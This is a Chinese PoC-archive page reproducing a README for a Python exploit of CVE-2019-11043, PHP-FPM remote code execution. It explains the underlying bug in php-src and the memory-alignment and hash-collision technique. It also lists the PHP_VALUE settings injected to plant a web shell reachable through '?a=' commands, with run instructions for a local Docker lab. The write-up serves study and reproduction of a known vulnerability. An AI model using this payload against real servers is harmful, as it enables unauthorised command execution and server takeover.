POC详情: 702ca3e03782f395f71db832ba8da28c1baf79b3

来源
关联漏洞
标题: PHP 缓冲区错误漏洞 (CVE-2019-11043)
描述:PHP(PHP:Hypertext Preprocessor,PHP:超文本预处理器)是PHPGroup和开放源代码社区的共同维护的一种开源的通用计算机脚本语言。该语言主要用于Web开发,支持多种数据库及操作系统。 PHP中存在缓冲区错误漏洞。该漏洞源于网络系统或产品在内存上执行操作时,未正确验证数据边界,导致向关联的其他内存位置上执行了错误的读写操作。攻击者可利用该漏洞导致缓冲区溢出或堆溢出等。以下产品及版本受到影响:PHP 7.1.33之前版本的7.1.x版本,7.2.24之前版本的7.2.x版本,7
描述
PHP-FPM Remote Command Execution Exploit
介绍
# CVE-2019-11043
PHP-FPM Remote Code Execution

Screencast: [https://youtu.be/d6benC5FVZM](https://youtu.be/d6benC5FVZM)

## Overview
This zero-day exploit in common PHP-FPM configurations was discovered during the _Realworld CTF_ competition in 2019. A regular expression is used to parse the requested URI, but newline characters `%0a` are not matched. This triggers a bug in FastCGI which computes the query string length incorrectly and writes a null byte to a location _before_ the start of the intended buffer. By careful selection of the query string length, an attacker can use this bug to overwrite internal PHP variables on the server and execute arbitrary shell code.

The original Go implementation of this exploit can be found in [here](https://github.com/neex/phuip-fpizdam). I have used this, [a write up](https://blog.orange.tw/2019/10/an-analysis-and-thought-about-recently.html) and the original [bug report](https://bugs.php.net/bug.php?id=78599) as learning resources in order to implement the exploit in Python.

## Instructions

**Docker on Linux** Run `sudo docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043` to instantiate a barebone NGINX/PHP-FPM server with an empty script at `/script.php`. The Dockerfile for this image is available [here](https://github.com/neex/phuip-fpizdam), though it is not needed to run the aforementioned command. 

**Docker on Mac** Run `sudo docker-compuse up -d` from the `/php/CVE-2019-11043` directory of the [vulhub](https://github.com/vulhub/vulhub) repository. (Compose is included with Docker for Mac.)

Run the exploit script with the command `python3 exploit.py http://localhost:8080/script.php` (or `/index.php` if the second option was used). Upon successful execution, a Web shell will be accessible by appending commands to the URL after `?a=` (e.g., `http://localhost:8080/script.php?a=uname -a`).

*N.B. I did attempt to create an Ansible playbook for this assignment, but I came up against a show-stopping bug documented [here](https://github.com/ansible/ansible/issues/71528). It is not possible to start systemd services on recent Linux kernels (e.g., any Ubuntu LTS release) with an Ansible playbook.*

## Theory

### Vulnerability
PHP-FPM configuration files contain a rule for matching incoming URI requests to PHP scripts which often look like this:
```
location ~ [^/]\.php(/|$) {
  ...
  fastcgi_split_path_info       ^(.+?\.php)(/.*)$;
  fastcgi_param PATH_INFO       $fastcgi_path_info;
  fastcgi_pass                  php:9000;
  ...
}
```
This _should_ match any URI in the form `/script.php/pathinfo`, but `.` actually doesn't match new line `%0a` characters. If the URI contains a new line, it will trigger the following [bug](https://github.com/php/php-src/blob/php-7.3.10/sapi/fpm/fpm/fpm_main.c#L1151) in the PHP implementation:
```
1141    int ptlen = strlen(pt);
1142    int slen = len - ptlen;
1143    int pilen = env_path_info ? strlen(env_path_info) : 0;
1144    int tflag = 0;
1145    char *path_info;
1146    if (apache_was_here) {
1147        /* recall that PATH_INFO won't exist */
1148        path_info = script_path_translated + ptlen;
1149        tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
1150    } else {
1151        path_info = env_path_info ? env_path_info + pilen - slen : NULL;
1152        tflag = (orig_path_info != path_info);
1153    }
```
The issue here is that `slen` is correctly computed as the length of the URI minus the length of the resource path, but `pilen` is mistakenly set to 0. This sets `path_info` to a _negative_ value on line 1151, resulting in a buffer underflow. Immediately after this miscalculation in the same file, we have:
```
1159    FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);
1160    old = path_info[0];
1161    path_info[0] = 0;
1162    if (!orig_script_name ||
1163        strcmp(orig_script_name, env_path_info) != 0) {
1164        if (orig_script_name) {
1165            FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);
1166        }
1167        SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
1168    } else {
1169        SG(request_info).request_uri = orig_script_name;
1170    }
1171    path_info[0] = old;
```
On line 1161, a null byte is written to the miscalculated memory location from the previous step. This can be leveraged to exploit a vulnerability on line 1165, where FastCGI writes an environment variable. By writing the null byte into the pointer controlling the environment variable write operation, we can insert abitrary PHP variables into the environment with our HTTP requests.

### Exploit

#### FastCGI Internal Data Structures
The environment variables [in FastCGI](https://github.com/php/php-src/blob/php-7.3.10/main/fastcgi.c#L188) are stored in a tightly packed sequence of key-value string pairs in memory. The start and end of the buffer holding these strings is called `_fcgi_data_seg`. The `pos` member points to the next available place to write. If the buffer fills up (`pos > end`), a new one is allocated and the `next` member points towards the old one. 
```
118    typedef struct _fcgi_data_seg {
119        char                  *pos;
120        char                  *end;
121    	   struct _fcgi_data_seg *next;
122    	   char                   data[1];
123    } fcgi_data_seg;
```
FastCGI accesses individual environment variables using a hash table called `_fcgi_hash`. 
```
125    typedef struct _fcgi_hash {
126    	   fcgi_hash_bucket  *hash_table[FCGI_HASH_TABLE_SIZE];
127    	   fcgi_hash_bucket  *list;
128        fcgi_hash_buckets *buckets;
129        fcgi_data_seg     *data;
130    } fcgi_hash;
```
The idea here is to overwrite the least significant byte of `pos` in order to trick FastCGI into overwriting an existing variable. The code is _supposed_ to take the string appended to our URI path and place it in the location for `PATH_INFO`. However, we want to overwrite `PHP_VALUE`, because this value is immediately retrieved and loaded into the PHP settings after the vulnerable code segnment.

#### Data Alignment
As you can see in `exploit.py`, the general premise of this exploit is to find a very long URI query that will align FastCGI's internal memory buffer in a way we can abuse. The idea is to find the exact number of characters required for FastCGI to allocate a new `_fcgi_data_seg` buffer. When this occurs, FastCGI will predictably write our `PATH_INFO` into the new buffer, followed immediately by each of our HTTP headers as new environment values. So, the next step is to find how many characters we need to pad an arbitrary HTTP header with in order to align memory for our purposes. Since we are limited to writing on null byte to an arbitrary location, we need to get `pos` pointed at a predictable offset to `PHP_VALUE` so that editing the least significant byte will move it there.

#### Hash Table Circumvention
The challenge is that we want to overwrite `PHP_VALUE`, but we don't know where this is located in memory. When FastCGI loads this variable, it will hash the string `PHP_VALUE` to get the actual memory address according to [a simple algorithm](https://github.com/php/php-src/blob/php-7.3.10/main/fastcgi.h#L31):
```
31    #define FCGI_HASH_FUNC(var, var_len) \
32        (UNEXPECTED(var_len < 3) ? (unsigned int)var_len : \
33        (((unsigned int)var[3]) << 2) + \
34        (((unsigned int)var[var_len-2]) << 4) + \
35        (((unsigned int)var[var_len-1]) << 2) + \
36        var_len)
```
Instead of actually modifying the hash table in some way, all we have to do is create another environment variable with the same string length and hash as `PHP_VALUE` according to this function. This will trick the hash lookup into reading our HTTP header instead of the intended variable. The author of this exploit cleverly noted that a header called `EBUT` will be saved as `HTTP_EBUT` in the FastCGI environment, which fulfills this requirement.

#### Code Injection
For the attack itself, we send GET requests containing our `EBUT` header and use the null byte overwrite bug to overwrite its value. We attempt to set PHP [environment variables](https://github.com/lindemer/CVE-2019-11043/blob/2c68f5097bcfb7983189051502490dcf5d8da8b1/exploit.py#L29) one at a time with repeated requests:
```
short_open_tag=1
html_errors=0
include_path=/tmp
auto_prepend_file=a
log_errors=1
error_reporting=2
error_log=/tmp/a
extension_dir=\"<?=`\"
extension=\"$_GET[a]`?>\"
```
Successful modification of all of these variables enables a new query `?a=` on the server for arbitrary shell code execution. The attack loop checks for success on each iteration by attemptying to execute `which which`. The attacker can easily detect whether this was successful by reading result from the HTTP response (e.g., `/bin/which`).
文件快照

[4.0K] /data/pocs/702ca3e03782f395f71db832ba8da28c1baf79b3 ├── [6.6K] exploit.py └── [8.6K] README.md 0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。